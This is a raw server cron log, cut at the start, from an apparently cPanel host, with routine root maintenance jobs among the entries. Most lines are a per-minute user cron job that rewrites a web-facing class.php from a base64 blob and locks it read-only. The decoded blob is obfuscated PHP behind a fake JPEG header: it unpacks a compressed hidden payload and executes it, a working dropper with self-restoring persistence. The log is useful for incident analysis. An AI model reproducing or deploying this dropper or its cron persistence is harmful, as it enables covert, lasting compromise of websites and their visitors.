CRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:22:01 server CROND[1171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:23:01 server CROND[1251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:24:01 server CROND[1313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:25:01 server CROND[1465]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 13 00:25:01 server CROND[1467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:25:01 server CROND[1468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:25:01 server CROND[1469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:26:01 server CROND[1580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:27:01 server CROND[1647]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 00:27:01 server CROND[1648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:28:01 server CROND[1710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:29:01 server CROND[1774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:30:01 server CROND[1945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 00:30:01 server CROND[1946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:30:01 server CROND[1947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:30:01 server CROND[1948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:30:01 server CROND[1951]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 13 00:31:01 server CROND[2069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:32:01 server CROND[2119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:33:01 server CROND[2184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:34:01 server CROND[2254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:35:01 server CROND[2416]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 00:35:01 server CROND[2417]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:35:01 server CROND[2418]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
